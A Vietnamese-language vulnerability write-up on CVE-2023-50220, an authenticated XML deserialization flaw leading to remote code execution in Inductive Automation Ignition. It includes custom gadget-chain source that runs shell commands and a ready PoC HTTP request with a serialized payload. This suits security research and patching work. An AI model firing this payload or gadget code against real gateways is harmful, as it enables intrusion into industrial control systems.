CVE-2023–50220 — Inductive Automation Ignition XML Deserialization to RCE

Petrus Viet
12 min readJan 10, 2024

Trong năm 2023 mình có tìm được một số CVE của Ignition, hôm nay mình xin chia sẻ lại 1 bug trong số chúng. Dù không phải là bug có độ impact cao nhất nhưng mình cảm thấy thích thú với nó hơn. ~ Hope you enjoy it ~

I) Debug note

  • Trong file `C:\Program Files\Inductive Automation\Ignition\data\ignition.conf`, gỡ comment 2 dòng sau:
wrapper.java.additional.2=-Xdebug
wrapper.java.additional.3=-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:8000
  • Setup proxy client app:
-Dignition.chromium.switch.proxy-server=127.0.0.1:9999

Next:

-Dhttp.proxyHost=127.0.0.1;-Dhttp.proxyPort=9999

II) Research

Khi bắt tay vào research một product mới, mình sẽ nghiên cứu các bug và blogs phân tích đã có sẵn, điều này không có nghĩa là mình chọn con đường đi bypass các bug cũ trước (à mà cũng có thể nghĩ vậy 🤣) mà mục đích chính là hiểu product nhanh hơn, dễ dàng hiểu cách nó hoạt động như thế nào (cách load lib, các mapping các endpoint, phân quyền,…). Việc này còn khiến mình biết product này có tỉ lệ chứa loại bug nào cao hơn từ đó nhắm mục tiêu chuẩn hơn xíu.

Như vậy, trước khi quyết định research vuln trên Inductive mình đã tham khảo và reproduce một vài bug được show ở P2O Miami 2022:

  • Các lỗ hổng được giới thiệu bởi @pedrib1337 và @RabbitPro [2] có thể hiểu nôm na rằng: Sử dụng lỗ hổng Unauthenticated Access to Sensitive Resource ở hàm ProjectDownload.getDiffs để lấy được project name, sau đó tiếp tục sử dụng lỗ hổng Insecure Java Deserialization cũng ở hàm ProjectDownload.getDiffs để gây ra RCE với gadget chain CommonsBeanutils1.
  • Các lỗ hổng được giới thiệu bởi Chris Anastasio và Steven Seeley (mr_me) [3] thú vị hơn khi sử dụng phương thức tấn công RNG, tác giả lấy được seed bằng cách lấy systemtime bị lộ từ đó tái tạo lại chuỗi randome bytes → hash để lấy session → thử từng cái một đến khi hợp lệ, từ đó có thể RCE với hàm ScriptInvoke.execute.
  • Cuối cùng, lỗ hổng được giới thiệu bởi @chudypb [1] là một dạng Insecure XML Deserialization để gây ra Admin-RCE. Mặc dù impact nó đạt được thấp hơn những bug phía trên nhưng quá trình phân tích và viết exploit làm mình hứng thú hơn 😄

=> Kết hợp với lịch sử các lỗ hổng từng tồn tại trên Inductive cùng cảm nhận cá nhân sau khi review một vòng các lỗ hổng cũ, mình nhận thấy lỗ hổng unsafe deserialization có vẻ tồn tại nhiều hơn, và vì vậy mình tập trung tìm kiếm unsafe deserialization.

III) Find bug

Để tìm ra bug này, mình cần giải quyết 3 bài toán sau:

  1. Tìm điểm sink-source: Điều quan trọng nhất là tìm được điểm sink và source, đó là điều đương nhiên.
  2. Build payload XML: Tiếp theo là tìm cách build lại request XML để chứa payload, đôi khi ta không có request mẫu, docs và cần customs lại XML để chương trình chạy đúng ý ⇒ lúc đó chỉ còn cách phân tích code.
  3. Tìm Gadget chain: Dù tới được điểm deser rồi nhưng nếu không có gadget chain thì chúng ta vẫn chưa thể khai thác được, mình thường tìm theo các bước từ dễ tới khó như sau:
  • Fuzz hết các gadget chains trong ysoserial, nếu may mắn thì ta chẳng cần tìm gì nữa 😂
  • Kiểm tra các lib của product có cái nào nằm trong số các Dependencies của các gadget trong ysoserial hay không? Có thể chúng ta chỉ cần sửa một chút vì lỗi version hoặc có một class trong gadget chain không dùng được nhưng có thể dễ dàng thay thế 🤓
  • Khi không thể lăn tăn / xào chẻ với các gadget chains có sẵn. Lúc này mình cần tìm một gadget chain mới hoàn toàn.

(*) Tìm source — sink

Trong khi lượn lờ ở API /system/gateway ở hàm Gateway.doPost, mình nhận thấy chương trình parse XML Input như thế này:

reader = this.readerPool.checkOut(); // com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl$JAXPSAXParser
Message msg = new Message();
reader.setContentHandler(new MessageParser(msg));

try {
reader.parse(new InputSource(input));
} catch (SAXException var168) {
this.printErrorResponse(out, 200, "Unable to parse message.", var168);
return;
}

Ta thấy chương trình gọi reader.setContentHandler() để chỉ định kiểu Object cần parse là MessageParser . Vậy với những kiểu Object XML khác thì như thế nào??? liệu có một API nào đó có parse một kiểu xml object nào đó mà tại đó ta có thể khai thác không??? [4]

Bắt tay vào việc, mình kiểm tra kiểu dữ liệu truyền vào của hàm setContentHandler ContentHandler interface:

public void setContentHandler (ContentHandler handler);

Có rất nhiều class implements nó, nhưng tâm linh mách bảo mình xem class Base64XmlReader đầu tiên 😄

Tại hàm getValue, chương trình gọi ClusterUtil.deserializeObject()

public Object getValue() {
try {
return StringUtils.isBlank(this.data) ? null : ClusterUtil.deserializeObject(Base64XmlReader.this.context, Base64.decodeAndGunzip(this.data));
} catch (Exception var2) {
LoggerFactory.getLogger(this.getClass()).error("Error deserializing object.", var2);
return null;
}
}

Chương trình đi vào ClusterUtil.deserializeObject và gọi ModuleObjectInputStream.readObject()

public static Object deserializeObject(GatewayContext context, InputStream stream) throws Exception {
ObjectInputStream ois = new ModuleObjectInputStream(stream, context.getModuleManager());
Object o = ois.readObject();
ois.close();
return o;
}

Như vậy ta có thể thấy được tại đây có thể Deserialization, nhưng vấn đề khó hơn là làm sao tìm ra còn đường tời đây??

Có một chút manh mối: Base64XmlReader được sử dụng trong HistoryFlavor.getXmlImportHandler()

public SimpleXMLReader<HistoricalData> getXmlImportHandler(GatewayContext context) {
return new HistoryFlavor.Base64XmlReader(context);
}

HistoryFlavor.getXmlImportHandler() lại được gọi tại QuarantinedXmlImporter.startElement() [5]

Thường thì hàm startElement() sẽ xuất hiện trong class định nghĩa của một đối tượng XML 😎 Như ý tưởng đưa ra ở [4], Ta cần tìm nơi mà QuarantinedXmlImporter được parse ra đúng chứ?

Không cần tìm đâu xa, ngay chính hàm QuarantinedXmlImporter.doImport(), chương trình gọi parser.parse(src, this); tức là parse src theo kiểu this tức QuarantinedXmlImporter

public void doImport(InputStream srcIS) throws Exception {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
InputStream is = null;
SAXParser parser = factory.newSAXParser();

try {
is = new UnicodeInputStream(srcIS, "UTF-8");
InputSource src = new InputSource(is);
src.setEncoding("UTF-8");
parser.parse(src, this);
} catch (SAXParseException var9) {
throw new Exception("Error parsing XML on line " + var9.getLineNumber() + ": " + var9.getMessage(), var9);
} finally {
IOUtils.closeQuietly(is);
}
}

Tới đây, ta dễ dàng trace ngược lên hàm StoreAndForwardRoutes.mount()

// stack trace
com.inductiveautomation.ignition.gateway.web.pages.status.routes.StoreAndForwardRoutes.mount()
com.inductiveautomation.ignition.gateway.web.pages.status.routes.StoreAndForwardRoutes.importData()
com.inductiveautomation.ignition.gateway.history.HistoryManagerImpl.importQuarantinedFromXML()
com.inductiveautomation.ignition.gateway.history.stores.QuarantinedXmlImporter.doImport()

Tại hàm mount, ta thấy chương trình đăng ký các request gửi tới “/store_forward_import/:storeName” sẽ được map tới hàm StoreAndForwardRoutes.importData()

public void mount(RouteGroup routes) {
routes.newRoute("/store_forward").handler(this::getHistoryStoreData).type("application/json").restrict(WicketAccessControl.STATUS_SECTION).mount();
......
routes.newRoute("/store_forward_import/:storeName")
.method(HttpMethod.POST)
.handler((req, res) -> this.importData(req, res, req.getParameter("storeName")))
.restrict(
RouteAccessControl.requireAll(
new RouteAccessControl[]{WicketAccessControl.STATUS_SECTION, WicketAccessControl.CONFIG_SECTION, EdgeAccessControl.NOT_EDGE}
)
)
.mount();
}

Tìm với từ khóa “/store_forward_import/” ở tất cả các file ta thấy có một file js chứa string “/data/status/store_forward_import/” ⇒ rất có thể root path của API “/store_forward_import/:storeName” là “/data/status

Tạo thử một request thì đúng là chương trình đã đi vào như chúng ta mong muốn

(*) Xây dựng XML payload

Như ta thấy tại hàm StoreAndForwardRoutes.importData() Chương trình lấy input bằng cách gọi Part part = r.getPart(“file”); có nghĩa rằng ta cần gửi một request dạng multipart và input nằm ở một file nằm trong part “file

Tại HistoryManagerImpl.importQuarantinedFromXML() chương trình gọi this.getStore(“test”) nhận được null ⇒ store not found error

Tại hàm getStore, chương trình lấy một obj DataSink từ biến dataStoreEngines, nhưng hiện tại nó chỉ có một value có key “sample_sqlite_database

Thử gửi request với store name là “sample_sqlite_database” ta thấy chương trình có thể tiếp tục đi tiếp tới QuarantinedXmlImporter.doImport()

Quay lại với hàm QuarantinedXmlImporter.startElement(), để chương trình gọi f.getXmlImportHandler() thì cần có một element là “data” trong đó có chứa 2 attributes là “flavor” và “subtype

Như vậy mình test với input sau và tiếp tục debug:

<?xml version="1.0"?>
<data flavor="flavor" subtype="subtype">
</data>

Tiếp theo chương trình đi vào this.mgr.lookupFlavor(flavor, subType); để lấy biến f. Ta cần f là một obj của HistoryFlavor (như giải thích ở [5])

Tại đây chương trình lookup dữ liệu trong biến flavorRegistry , ta thấy có sẵn một value là kiểu HistoryFlavor với key là “datasourcedata/

tại hàm flavorKey, chương trình tạo một key từ input của user bằng cách gép type (flavor)là subtype(subType) lại với nhau như sau:

private String flavorKey(String type, String subtype) {
return String.format("%s/%s", type, StringUtils.defaultString(subtype).toLowerCase());
}

như vậy, để lấy obj có key “__datasourcedata__/”, ta cần input flavor=”__datasourcedata__” subtype=””

<?xml version="1.0"?>
<data flavor="__datasourcedata__" subtype="">
</data>

Quay về với HistoryFlavor, tại hàm writeToXml ta thấy chương trình chuyển đổi một obj HistoryFlavor sang dạng xml bằng cách serialization obj và chuyển về dạng base64 sau đó để dữ liệu vào element “base64

public void writeToXml(SimpleXMLWriter writer, HistoricalData data) throws Exception {
writer.writeElement("base64", Collections.emptyList(), Base64.encodeObject(data, 2));
}

Như vậy bây giờ ta cần thêm một element “base64” vào element data

<?xml version="1.0"?>
<data flavor="__datasourcedata__" subtype="">
<base64>base64_string</base64>
</data>

Như vậy, ta đã dưa input chạm được tới điểm sink — nơi xảy ra deserialization

(*) Tìm gadget chain

Kiểm tra với gadget URLDNS thì mọi thứ hoạt động tốt 😇

Và tiếp theo mình thử các gadgetchain khác trong bộ ysoserial, tất nhiên là ngoài URLDNS thì không có cái nào ăn may được 🤠

(+) Tìm gadget lần 1

  • Đầu tiền mình tìm thấy Ignition\lib\core\designer\rhino-1.7.6.jar và trong bộ ysoserial cũng có gadget MozillaRhino2 với yêu cầu @Dependencies({“rhino:js:1.7R2”}) vậy nên mình thử debug xem có customs lại cho phù hợp được hay không.
  • Vấn đề khiến MozillaRhino2 không chạy được là do org.apache.xalan.xsltc.trax.TemplatesImplkhông tìm thấy”, vậy nên mình customs lại bằng cách sử dụng org.mozilla.javascript.NativeScript
package ysoserial.payloads;

import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Hashtable;
import java.util.Map;

@Dependencies({"rhino:js:1.7R2"}) // tested rhino-1.7.6.jar
@Authors({ Authors.TINT0 }) // customs from MozillaRhino2 by PetrusViet
public class MozillaRhino3 implements ObjectPayload<Object> {

public Object getObject( String command) throws Exception {
//command = "var rt= new java.lang.ProcessBuilder(); rt.command('"+command+"');rt.start();";
command = "var isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\n" +
"var cmd = new java.lang.String(\""+command+"\");\n" +
"var p = new java.lang.ProcessBuilder();\n" +
"if(isWin){p.command(\"cmd.exe\",\"/c\",cmd);} else{p.command(\"bash\",\"-c\",cmd);}\n" +
"p.redirectErrorStream(true);\n" +
"p.start();";

Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
Reflections.setAccessible(nativeErrorConstructor);
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();

ScriptableObject dummyScope = new Environment();
Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
Context context = Context.enter();

Object initContextMemberBox = Reflections.createWithConstructor(
Class.forName("org.mozilla.javascript.MemberBox"),
(Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"),
new Class[] {Method.class},
new Object[] {Context.class.getMethod("enter")});

ScriptableObject scriptableObject = new Environment();
(new ClassCache()).associate(scriptableObject);
try {
Constructor ctor1 = LazilyLoadedCtor.class.getDeclaredConstructors()[1];
ctor1.setAccessible(true);
ctor1.newInstance(scriptableObject, "java",
"org.mozilla.javascript.NativeJavaTopPackage", false, true);
}catch(ArrayIndexOutOfBoundsException e){
Constructor ctor1 = LazilyLoadedCtor.class.getDeclaredConstructors()[0];
ctor1.setAccessible(true);
ctor1.newInstance(scriptableObject, "java",
"org.mozilla.javascript.NativeJavaTopPackage", false);
}


Interpreter interpreter = new Interpreter();
Method mt = Context.class.getDeclaredMethod("compileString", String.class, Evaluator.class, ErrorReporter.class, String.class, int.class, Object.class);
mt.setAccessible(true);
Script script = (Script) mt.invoke(context, new Object[]{ command,interpreter, null,"test", 0, null});

Constructor<?> ctor = Class.forName("org.mozilla.javascript.NativeScript").getDeclaredConstructors()[0];
ctor.setAccessible(true);
Object nativeScript = ctor.newInstance(script);
Method setParent = ScriptableObject.class.getDeclaredMethod("setParentScope", Scriptable.class);
setParent.invoke(nativeScript, scriptableObject);

try {
//1.7.13
Method makeSlot = ScriptableObject.class.getDeclaredMethod("findAttributeSlot", String.class, int.class, Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess"));
Object getterEnum = Class.forName("org.mozilla.javascript.ScriptableObject$SlotAccess").getEnumConstants()[3];
Reflections.setAccessible(makeSlot);
Object slot = makeSlot.invoke(idScriptableObject, "getName", 0, getterEnum);
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
}catch(ClassNotFoundException e){
try {
//1.7R2
Method makeSlot = ScriptableObject.class.getDeclaredMethod("findAttributeSlot", String.class, int.class, int.class);
Reflections.setAccessible(makeSlot);
Object slot = makeSlot.invoke(idScriptableObject, "getName", 0, 4);
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
}catch(NoSuchMethodException ee) {
//1.7.7.2
Method makeSlot = ScriptableObject.class.getDeclaredMethod("createSlot", Object.class, int.class, int.class);
Reflections.setAccessible(makeSlot);
Object slot = makeSlot.invoke(idScriptableObject, "getName", 0, 4);
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
}
}

idScriptableObject.setGetterOrSetter("directory", 0, (Callable) nativeScript, false);

NativeJavaObject nativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));

Reflections.setFieldValue(nativeJavaObject, "javaObject", idScriptableObject);

return nativeJavaObject;
}

public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
out.writeObject("java.lang.Object");
out.writeObject(new String[0]);
out.writeObject(javaObject);
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(MozillaRhino3.class, args);
}

}
  • Test các kiểu thì chain chạy đẹp tuyệt vời, nhưng khi thử exploit với nó thì chương trình không tìm thấy rhino mặc dù lib của rhino đã trong classpath 😢 Sau khi mình check lại thì phát hiện ra các lib ở \lib\core\designer không được load lên một cách mặc định 😖 quả là một cú phí công customs chain 💔

(+) Tìm gadget lần 2

  • Tiếp tục tìm kiếm kỹ hơn mình phát hiện có lib Ignition\lib\core\common\jython-ia-2.7.2.1.jar và lần này đã chắc cú thư mục \lib\core được load lên một cách mặc định 🙂
  • Trong bộ ysoserial có gadget Jython1 với yêu cầu @Dependencies({ “org.python:jython-standalone:2.5.2” }). Mình tiếp tục debug để tìm cách fix hoặc customs lại chain
  • Vấn đề nằm ở phiên bản của jython (ai cũng thấy vậy 🙂). Tại phiên bản mà Ignition sử dụng, Class PyFunction được thêm hàm readResolve() mặc định luôn luôn gọi thorw
private Object readResolve() {
throw new UnsupportedOperationException();
}

Điều này có nghĩa là không thể deserialize class PyFunction vì:

  • Khi chương trình gọi hàm readObject() (readObject mặc định của java), chương trình sẽ đi qua một số hàm rồi tới ObjectInputStream.readOrdinaryObject(). Tại đây chương trình kiểm tra xem target (object cần deserialize) có chứa hàm readResolve() hay không? nếu có thì gọi nó:
  • Và như vậy hàm PyFunction.readResolve() được gọi dẫn tới sinh ra lỗi UnsupportedOperationException

Dừng lại và suy nghĩ một chút, trong gadget Jython1 thì class PyFunction có vai trò nhận lời gọi func call compare(x,y) từ class proxy:

Mình tự hỏi liệu có class nào thay thế được PyFunction hay không? để có thể nhận một func call từ một class proxy thì class đó phải được implements từ InvocationHandler nên mình tìm kiếm các class như vậy trong Jython :v 😝

  • May mắn mình tìm thấy PyMethod vừa được implements từ InvocationHandler mà vẫn có thể deser 😄
  • Debug các kiểu, viết payload các kiểu thì mình cũng nhận ra đây là lựa chọn thay thế rất chính xác, nhưng việc sử dụng PyMethod có nhiều sự khác biệt với PyFunction => đến đây mình lười 😂
  • Mình nảy ra ý tưởng: “Liệu đã có ai có ý tưởng y chang mình và tạo ra Jython2 chưa nhỉ?”. Yeb, mình tìm kiếm các kiểu thì cũng tìm ra 😄 có thể đó là anh em cùng cha khác ông nội nào đó của mình.

(Vì lý do lúc mình viết blog, mình tìm lại chính xác payload ở github thì không tìm thấy nữa, nên mình copy lên đây luôn chứ không để ref)


Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map.entrySet() //[Implemented as a proxy class with PyMethod InvocationHandler]
PyMethod.__call__()
PyMethod.__call__(state)
PyMethod.__call__(state, arg0)
BuiltinFunctions.__call__(state, arg0, arg1)
__builtin__.eval(arg1, arg2, arg3)
Py.runCode(code, locals, globals);

Tại AnnotationInvocationHandler.readObject() chương trình gọi streamVals.entrySet()

Với streamVals chính là poxy object của chúng ta, ngĩa là lời gọi hàm entrySet sẽ được chuyển xuống class handler là PyMethod

Sau chuỗi PyMethod.__call__() chương trình tới __builtin__.eval()

Và sau cùng run python code với Py.runCode(code, locals, globals);

Dưới đây là PoC tạo file C:\\petrusviet.txt:

POST /data/status/store_forward_import/test HTTP/1.1
Host: localhost:8088
Content-Length: 6258
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2aeh8v1eAg4aLbAc
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=$COOKIE$
Connection: close

------WebKitFormBoundary2aeh8v1eAg4aLbAc
Content-Disposition: form-data; name="file"; filename="ahihi"
Content-Type: text/xml

<?xml version="1.0"?>
<cachedata>
<data flavor="__datasourcedata__" subtype="">
<base64>rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgAYb3JnLnB5dGhvbi5jb3JlLlB5TWV0aG9k5okeKgOhGnMCAANMAAhfX2Z1bmNfX3QAGkxvcmcvcHl0aG9uL2NvcmUvUHlPYmplY3Q7TAAIX19zZWxmX19xAH4ACUwACGltX2NsYXNzcQB+AAl4cgAYb3JnLnB5dGhvbi5jb3JlLlB5T2JqZWN0n6GRtMjKWl4CAAJMAAphdHRyaWJ1dGVzdAASTGphdmEvbGFuZy9PYmplY3Q7TAAHb2JqdHlwZXQAGExvcmcvcHl0aG9uL2NvcmUvUHlUeXBlO3hwcHNyACNvcmcucHl0aG9uLmNvcmUuUHlUeXBlJFR5cGVSZXNvbHZlcnuBU8WeYmr5AgADTAAGbW9kdWxldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgAPTAAQdW5kZXJseWluZ19jbGFzc3EAfgACeHB0AAtfX2J1aWx0aW5fX3QADmluc3RhbmNlbWV0aG9kdnEAfgAIc3EAfgAIcHEAfgAQc3IAIG9yZy5weXRob24uY29yZS5CdWlsdGluRnVuY3Rpb25zLtrTjzPBXe8CAAB4cgAkb3JnLnB5dGhvbi5jb3JlLlB5QnVpbHRpbkZ1bmN0aW9uU2V0oMWYCNZs8QkCAAFJAAVpbmRleHhyACdvcmcucHl0aG9uLmNvcmUuUHlCdWlsdGluRnVuY3Rpb25OYXJyb3fe+kE9woiXBgIAAHhyACFvcmcucHl0aG9uLmNvcmUuUHlCdWlsdGluRnVuY3Rpb25RotUCS9ow4QIAAHhyACFvcmcucHl0aG9uLmNvcmUuUHlCdWlsdGluQ2FsbGFibGWy2brYcT+SMgIAAkwAA2RvY3EAfgAPTAAEaW5mb3QAKExvcmcvcHl0aG9uL2NvcmUvUHlCdWlsdGluQ2FsbGFibGUkSW5mbzt4cQB+AApwc3EAfgAOcQB+ABF0ABpidWlsdGluX2Z1bmN0aW9uX29yX21ldGhvZHZxAH4AGXBzcgAtb3JnLnB5dGhvbi5jb3JlLlB5QnVpbHRpbkNhbGxhYmxlJERlZmF1bHRJbmZvi6rVprFkKJ4CAANJAAdtYXhhcmdzSQAHbWluYXJnc0wABG5hbWVxAH4AD3hwAAAAAwAAAAN0AAAAAAASc3IAGm9yZy5weXRob24uY29yZS5QeUJ5dGVjb2RlfVtZSAYTaWECAAdJAAxjb19zdGFja3NpemVJAAVjb3VudEkACG1heENvdW50WwAHY29fY29kZXQAAltCWwAJY29fY29uc3RzdAAbW0xvcmcvcHl0aG9uL2NvcmUvUHlPYmplY3Q7WwAJY29fbG5vdGFicQB+ACNbAAhjb19uYW1lc3QAE1tMamF2YS9sYW5nL1N0cmluZzt4cgAab3JnLnB5dGhvbi5jb3JlLlB5QmFzZUNvZGVedtREQcOUdAIADEkAC2NvX2FyZ2NvdW50SQAOY29fZmlyc3RsaW5lbm9JAApjb19ubG9jYWxzSQAManlfbnB1cmVjZWxsSQAFbmFyZ3NaAAd2YXJhcmdzWgAJdmFya3dhcmdzWwALY29fY2VsbHZhcnNxAH4AJUwAC2NvX2ZpbGVuYW1lcQB+AA9MAAhjb19mbGFnc3QAH0xvcmcvcHl0aG9uL2NvcmUvQ29tcGlsZXJGbGFncztbAAtjb19mcmVldmFyc3EAfgAlWwALY29fdmFybmFtZXNxAH4AJXhyABZvcmcucHl0aG9uLmNvcmUuUHlDb2RldFRmEjeCxTsCAAFMAAdjb19uYW1lcQB+AA94cQB+AApwc3EAfgAOcQB+ABF0AAhieXRlY29kZXZxAH4AInQACDxtb2R1bGU+AAAAAAAAAAAAAAABAAAAAAAAAAAAAHB0AAZub25hbWVzcgAdb3JnLnB5dGhvbi5jb3JlLkNvbXBpbGVyRmxhZ3NsuDsGjrsQDwIABVoAEWRvbnRfaW1wbHlfZGVkZW50WgAIb25seV9hc3RaAA5zb3VyY2VfaXNfdXRmOEwACGVuY29kaW5ncQB+AA9MAAVmbGFnc3QAD0xqYXZhL3V0aWwvU2V0O3hwAAAAcHNyACRqYXZhLnV0aWwuRW51bVNldCRTZXJpYWxpemF0aW9uUHJveHkFB9PbdlTK0QIAAkwAC2VsZW1lbnRUeXBlcQB+AAJbAAhlbGVtZW50c3QAEVtMamF2YS9sYW5nL0VudW07eHB2cgAYb3JnLnB5dGhvbi5jb3JlLkNvZGVGbGFnAAAAAAAAAAASAAB4cgAOamF2YS5sYW5nLkVudW0AAAAAAAAAABIAAHhwdXIAEVtMamF2YS5sYW5nLkVudW07qI3qLTPSL5gCAAB4cAAAAAV+cQB+ADV0AAxDT19PUFRJTUlaRUR+cQB+ADV0AAxDT19ORVdMT0NBTFN+cQB+ADV0AAlDT19ORVNURUR+cQB+ADV0ABRDT19HRU5FUkFUT1JfQUxMT1dFRH5xAH4ANXQAGENPX0ZVVFVSRV9XSVRIX1NUQVRFTUVOVHB1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAACcQB+ACFxAH4AIQAAAAIAAAAA/////3VyAAJbQqzzF/gGCFTgAgAAeHAAAAAtZAEAZAIAbAAAbQEAfQAAAXwAAGoCAIMAAGoDAGQDAIMBAGoEAIMAAAFkAABTdXIAG1tMb3JnLnB5dGhvbi5jb3JlLlB5T2JqZWN0OyUEQNUb0AQ/AgAAeHAAAAAEc3IAJG9yZy5weXRob24uY29yZS5QeSRTaW5nbGV0b25SZXNvbHZlcgVF4NEl/S68AgABTAAFd2hpY2hxAH4AD3hwdAAETm9uZXNyABlvcmcucHl0aG9uLmNvcmUuUHlJbnRlZ2VyK7bkpDGmkCQCAAFJAAV2YWx1ZXhxAH4ACnBzcQB+AA5xAH4AEXQAA2ludHZxAH4ATQAAAABzcgAXb3JnLnB5dGhvbi5jb3JlLlB5VHVwbGWo9udC+I2LzgIAAlsABWFycmF5cQB+ACRMAApjYWNoZWRMaXN0dAAQTGphdmEvdXRpbC9MaXN0O3hyAB5vcmcucHl0aG9uLmNvcmUuUHlTZXF1ZW5jZUxpc3RCucUN0zFd+wIAAHhyABpvcmcucHl0aG9uLmNvcmUuUHlTZXF1ZW5jZVVaTxROQz7hAgABTAAJZGVsZWdhdG9ydAAnTG9yZy9weXRob24vY29yZS9TZXF1ZW5jZUluZGV4RGVsZWdhdGU7eHEAfgAKcHNxAH4ADnEAfgARdAAFdHVwbGV2cQB+AFJzcgAvb3JnLnB5dGhvbi5jb3JlLlB5U2VxdWVuY2UkRGVmYXVsdEluZGV4RGVsZWdhdGVt6lcrCnKmgAIAAUwABnRoaXMkMHQAHExvcmcvcHl0aG9uL2NvcmUvUHlTZXF1ZW5jZTt4cgAlb3JnLnB5dGhvbi5jb3JlLlNlcXVlbmNlSW5kZXhEZWxlZ2F0Zb330Il02r+OAgAAeHBxAH4AV3VxAH4ASAAAAAFzcgAYb3JnLnB5dGhvbi5jb3JlLlB5U3RyaW5nRWcC5rxVDKkCAAJMAAZleHBvcnR0ABlMamF2YS9sYW5nL3JlZi9SZWZlcmVuY2U7TAAGc3RyaW5ncQB+AA94cgAcb3JnLnB5dGhvbi5jb3JlLlB5QmFzZVN0cmluZySEgDU0JBTtAgAAeHEAfgBVcHNxAH4ADnEAfgARdAADc3RydnEAfgBgc3EAfgBbcQB+AGNwdAAHUnVudGltZXBzcQB+AGBwcQB+AGRzcQB+AFtxAH4AaXB0AEhjbWQgL2MgdHlwZSBOVUwgPiBDOlxccGV0cnVzdmlldC50eHQgJiBlY2hvIEhBQ0tFRCA+PiBDOlxccGV0cnVzdmlldC50eHR1cQB+AEYAAAAAdXEAfgBEAAAABXQACWphdmEubGFuZ3EAfgBodAAKZ2V0UnVudGltZXQABGV4ZWN0AAd3YWl0Rm9ycHNyABtvcmcucHl0aG9uLmNvcmUuUHlTdHJpbmdNYXCRNcbPJB1DMwIAAUwABXRhYmxldAAkTGphdmEvdXRpbC9jb25jdXJyZW50L0NvbmN1cnJlbnRNYXA7eHIAHG9yZy5weXRob24uY29yZS5BYnN0cmFjdERpY3Q1LXnzl9k16wIAAHhxAH4ACnBzcQB+AA5xAH4AEXQACXN0cmluZ21hcHZxAH4AcnNyACZqYXZhLnV0aWwuY29uY3VycmVudC5Db25jdXJyZW50SGFzaE1hcGSZ3hKdhyk9AwADSQALc2VnbWVudE1hc2tJAAxzZWdtZW50U2hpZnRbAAhzZWdtZW50c3QAMVtMamF2YS91dGlsL2NvbmN1cnJlbnQvQ29uY3VycmVudEhhc2hNYXAkU2VnbWVudDt4cAAAAA8AAAAcdXIAMVtMamF2YS51dGlsLmNvbmN1cnJlbnQuQ29uY3VycmVudEhhc2hNYXAkU2VnbWVudDtSdz9BMps5dAIAAHhwAAAAEHNyAC5qYXZhLnV0aWwuY29uY3VycmVudC5Db25jdXJyZW50SGFzaE1hcCRTZWdtZW50HzZMkFiTKT0CAAFGAApsb2FkRmFjdG9yeHIAKGphdmEudXRpbC5jb25jdXJyZW50LmxvY2tzLlJlZW50cmFudExvY2tmVagsLMhq6wIAAUwABHN5bmN0AC9MamF2YS91dGlsL2NvbmN1cnJlbnQvbG9ja3MvUmVlbnRyYW50TG9jayRTeW5jO3hwc3IANGphdmEudXRpbC5jb25jdXJyZW50LmxvY2tzLlJlZW50cmFudExvY2skTm9uZmFpclN5bmNliDLnU3u/CwIAAHhyAC1qYXZhLnV0aWwuY29uY3VycmVudC5sb2Nrcy5SZWVudHJhbnRMb2NrJFN5bmO4HqKUqkRafAIAAHhyADVqYXZhLnV0aWwuY29uY3VycmVudC5sb2Nrcy5BYnN0cmFjdFF1ZXVlZFN5bmNocm9uaXplcmZVqEN1P1LjAgABSQAFc3RhdGV4cgA2amF2YS51dGlsLmNvbmN1cnJlbnQubG9ja3MuQWJzdHJhY3RPd25hYmxlU3luY2hyb25pemVyM9+vua1tb6kCAAB4cAAAAAA/QAAAc3EAfgB+c3EAfgCCAAAAAD9AAABzcQB+AH5zcQB+AIIAAAAAP0AAAHNxAH4AfnNxAH4AggAAAAA/QAAAc3EAfgB+c3EAfgCCAAAAAD9AAABzcQB+AH5